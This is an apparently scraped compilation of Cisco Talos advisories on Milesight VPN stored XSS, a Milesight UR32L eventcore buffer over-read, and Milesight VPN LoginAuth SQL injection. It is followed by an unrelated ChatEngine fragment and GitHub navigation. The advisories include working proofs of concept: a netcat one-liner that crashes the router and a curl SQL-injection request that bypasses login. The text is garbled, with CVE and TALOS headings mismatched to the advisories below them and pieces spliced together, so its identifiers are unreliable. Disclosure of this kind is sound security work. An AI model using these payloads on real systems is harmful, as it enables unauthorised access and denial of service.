2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22371: TALOS-2023-1703 || Cisco Talos Intelligence Group

Cross-site scripting (xss) vulnerabilities exist in the requestHandlers.js detail_device functionality of Milesight VPN v2.0.2. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger these vulnerabilities.This XSS is exploited through the remote_subnet field of the database

**SUMMARY**

Cross-site scripting (xss) vulnerabilities exist in the requestHandlers.js detail\_device functionality of Milesight VPN v2.0.2. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger these vulnerabilities.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

8.3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H 9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - chain: TALOS-2023-1702  
\##### CWE

CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

**DETAILS**

The MilesightVPN is a software that make easier the setup of VPN tunnel for the Milesight products and allow to monitor the connection status with a web server interface.

The MilesightVPN exposes the /Device_Auth API used to authenticate to the server and to get the an OpenVPN configuration file. This API is for the various Milesight devices, the API requires as data the serial number, the authentication code, the device name and the subnet of the device. Essentially the API expects four entries in the POST payload:

*   authcode: is a secret generated by the MilesightVPN
*   subnet: the subnet mask of the main network used by the device
*   device\_name: the identifier of the device that is connecting to the MilesightVPN server
*   sn: is the serial number of the device that is connecting to the MilesightVPN server

After been registered, the device will appear in the Device table showing the provided information. This Device table is in the landing page after the login.

Following the relevant portion of the Embedded JavaScript template related to the device table:

    <table class="table table-no-bordered" data-striped="true" data-height="100%" id="tbl_content" data-toggle="table" data-url="/detail_device" data-target="/detail_device" data-id-field="sn" data-pagination="true" data-sort-stable="true" data-sort-name="connect_time" data-sort-order="asc" data-toolbar="#deviceToolbar" data-search="true" data-search-on-enter-key="true" data-cache="false">
        <thead>
            <tr>
                <th data-field="name" data-width="15%" data-sortable="true" data-formatter="name_formatter"><%=lang.detail.device.name%></th>
                <th data-field="status" data-width="10%" data-sortable="true" data-formatter="status_formatter"><%=lang.detail.device.status%></th>
                <th data-field="sn" data-width="10%" data-sortable="true"><%=lang.detail.device.sn%></th>
                <th data-field="virtual_ip" data-width="15%" data-sortable="true"><%=lang.detail.device.virtualip%></th>
                <th data-field="real_ip" data-width="15%" data-sortable="true"><%=lang.detail.device.realip%></th>
                <th data-field="remote_subnet" data-width="15%" data-sortable="true" data-formatter="subnet_formatter"><%=lang.detail.device.subnet%></th>
                <th data-field="connect_time" data-width="15%" data-sortable="true" data-formatter="time_formatter"><%=lang.detail.device.time%></th>
                <th data-field="history" data-width="10%" data-formatter="history_formatter"><%=lang.detail.device.history%></th>
            </tr>
        </thead>
    

The data of this table is filled using the requestHandlers.js’s detail_device function:

    function detail_device(res,postdata,connection){
        var $sql="select * from device";
        $sql+=' left join ';
        $sql+=' (select count(*) as total,remote_subnet from device group by remote_subnet) repeatsubnet on repeatsubnet.remote_subnet=device.remote_subnet';
        var result={};
        connection.query($sql).then(function(data){
            if(data['error'])
            {
                res.write(JSON.stringify(result));
                res.end();
            }
            else
            {
                if(data['result'].length>0)
                {
                    result=JSON.stringify(data['result']);
                    res.writeHead(200,{'Content-Type':'application/json','Content-length':Buffer.byteLength(result, 'utf8')});
                    res.write(result);
                    res.end();
                }
                else
                {
                    res.write(JSON.stringify([]));
                    res.end();
                }
            }
        });
    }
    

The device table has the following schema:

    +---------------+--------------+------+-----+---------+-------+
    | Field         | Type         | Null | Key | Default | Extra |
    +---------------+--------------+------+-----+---------+-------+
    | name          | varchar(255) | YES  |     | NULL    |       |
    | sn            | varchar(12)  | NO   | PRI | NULL    |       |
    | virtual_ip    | varchar(15)  | YES  |     | NULL    |       |
    | real_ip       | varchar(32)  | YES  |     | NULL    |       |
    | remote_subnet | varchar(32)  | YES  |     | NULL    |       |
    | connect_time  | int          | YES  |     | NULL    |       |
    | status        | int          | YES  |     | NULL    |       |
    +---------------+--------------+------+-----+---------+-------+ The `device` table is populated through the registered devices, so through the `/Device_Auth` API.
    

From when a Milesight device is registered, using the /Device_Auth API, until showing its data in the web interface, no checks about the data are performed, this can lead an XSS vulnerability. An attacker can upload malicious Javascript code through the /Device_Auth API, registering a device. An admin of the server would execute this malicious javascript whenever they viewed the details page due to the stored XSS. An attacker would need to know the Authorization Code of the server to actually use the /Device_Auth API. But because TALOS-2023-1702 this information can be easily retrieved by an attacker.

**CVE-2023-24496 - XSS in the name field**

An attacker can upload malicious Javascript code through the /Device_Auth’s device_name parameter. The device_name value will be stored in the device database as the name field.

**CVE-2023-24497 - XSS in the remote\_subnet field**

An attacker can upload malicious Javascript code through the /Device_Auth’s subnet parameter. The subnet value will be stored in the device database as the remote_subnet field.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24497: TALOS-2023-1704 || Cisco Talos Intelligence Group

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.2 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

**CWE**

CWE-126 - Buffer Over-read

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.

The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:

    undefined4 recv_data_thread(int *socket)
    
    {
     [... variable declaration ...]
    
      [... variable initialization ...]
      memset(chunk_buff + 4,0,0x1fc);
      [... variable initialization ...]
      
      if (socket == (int *)0x0) {
        syslog(3,"param is null\n");
      }
      else {
        socket_ = *socket;
        if (socket_ < 1) {
          syslog(3,"udp fd less than 0.\n");
        }
        else {
          message = (char *)malloc_and_memset(0x800);
          if (message != (char *)0x0) {
            memset(message,0,0x800);
            do {
              while( true ) {
                memset(chunk_buff,0,0x200);
                message_strlen = strlen(message);
                recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr);                                [1]
                if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
                memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen);                         [2]
              }
              [...]
            }
          }
          [...]
    }
    

The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.

The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.

Debugging the process, it is easy to understand this problem:

    memcpy@plt (                                                                                                                                                                                  
        $r0 = 0x00043730 → 0x00000000,                                                                                                                                                             
        $r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",                                                                                                              
        $r2 = 0x00000800,                                                                                                                                                                          
    )  The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is  `0x76de4b0c`. Following the thread stack region and the region adjacent:
    
    0x76bf0000 0x76de5000 0x00000000 rw-
    0x76de5000 0x76de6000 0x00000000 --- 
    

The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.

**Crash Information**

    Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
    0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
    [ Legend: Modified register | Code | Heap | Stack | String ]
    ──── registers ────                                               
    $r0  : 0x76ef2a20  →  0x00000000
    $r1  : 0x76d67ffc  →  0x00000000
    $r2  : 0x2f0
    $r3  : 0x10
    $r4  : 0x0
    $r5  : 0x0
    $r6  : 0x0
    $r7  : 0x0
    $r8  : 0x0
    $r9  : 0x0
    $r10 : 0x0
    $r11 : 0x0
    $r12 : 0x0
    $sp  : 0x76d67ac8  →  0x76f417ac  →   ldr r3,  [r0,  #140]      ; 0x8c
    $lr  : 0x00012e7c  →  0xea000034 ("4"?)
    $pc  : 0x76f3d540  →  <memcpy+140> ldm r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
    $cpsr: [negative zero CARRY overflow interrupt fast thumb]
    ──── stack ────                                               
    0x76d67ac8│+0x0000: 0x76f417ac  →   ldr r3,  [r0,  #140]        ; 0x8c   ← $sp
    0x76d67acc│+0x0004: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ad0│+0x0008: 0x00000078 ("x"?)
    0x76d67ad4│+0x000c: 0x7eac7d34  →  0x00000000
    0x76d67ad8│+0x0010: 0x76f68540  →  0x00000000
    0x76d67adc│+0x0014: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ae0│+0x0018: 0x76d67d24  →  0x76f41830  →   bl 0x76f41628 <pthread_exit>
    0x76d67ae4│+0x001c: 0x76ef2530  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    ──── code:arm:ARM ────                                               
       0x76f3d534 <memcpy+128>     sub    r2,  r2,  r3
       0x76f3d538 <memcpy+132>     subs   r2,  r2,  #32
       0x76f3d53c <memcpy+136>     bcc    0x76f3d554 <memcpy+160>
     → 0x76f3d540 <memcpy+140>     ldm    r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d544 <memcpy+144>     subs   r2,  r2,  #32
       0x76f3d548 <memcpy+148>     stmia  r0!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d54c <memcpy+152>     bcs    0x76f3d540 <memcpy+140>
       0x76f3d550 <memcpy+156>     add    r2,  r2,  #32
       0x76f3d554 <memcpy+160>     tst    r2,  #31
    ──── threads ────                                               
    [#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
    ──── trace ────                                               
    [#0] 0x76f3d540 → memcpy()
    [#1] 0x12e7c → b 0x12f54
    

**Exploit Proof of Concept**

Executing the following bash command will result in the crash of the eventcore binary:

    echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23571: TALOS-2023-1696 || Cisco Talos Intelligence Group

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allow to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the responsibility of checking the correctness of the provided credentials is of the requestHandlers.js’s LoginAuth function:

    function LoginAuth(res,postdata,connection){
        console.info('#######log.node:loginauth start');
        var sha512=crypto.createHash('sha512');
        sha512.update(postdata.pwd);
        var pwd=sha512.digest('hex');
        $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'";                      [1]
        connection.query($sql).then(function(data){                                                         [2]
            var result={};
            if(data['error'])
            {
                [...]
            }
            else
            {
                if(data['result'].length>0)
                {
                    var dt=data['result'];
                    result['status']=1;
                    var token=generateToken(dt[0]['user']);
                    var exp=new Date(new Date().getTime()+expiretime*1000).toUTCString();
                    res.setHeader('Set-Cookie',['token='+token]);
                    console.info('#######log.node:loginauth success');
                    res.write(JSON.stringify(result));
                    res.end();
                }
                else
                {
                    [...]
                }
            }
        });
    }
    

The function compose, at [1], the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at [2], the query is executed, if the resulting table is not empty a JWT, corresponding to the matched user, is crafted and placed in the response header as value of Set-Cookie.

This function is vulnerable to an SQL injection vulnerability, indeed, the composition of the query string is performed through string concatenation instead of a prepare statement. This SQL injection can lead to an authentication bypass.

**Exploit Proof of Concept**

Following a POC that demonstrates the SQL injection in the login procedure discussed above:

    curl -i -k -d "user=admin' -- &pwd=POC" -X POST https://<SERVER_ADDRESS>/LoginAuth 
    
    HTTP/1.1 200 OK
    Set-Cookie: token=<redacted>
    Date: [...]
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    {"status":1}
    

The {"status":1} show that the login procedure found a match for the data provided.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22319: TALOS-2023-1701 || Cisco Talos Intelligence Group

SQL Injection vulnerability in textMessage parameter in /src/chatbotapp/chatWindow.java in wliang6 ChatEngine v.1.0, allows attackers to gain sensitive information.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

Tag

#sql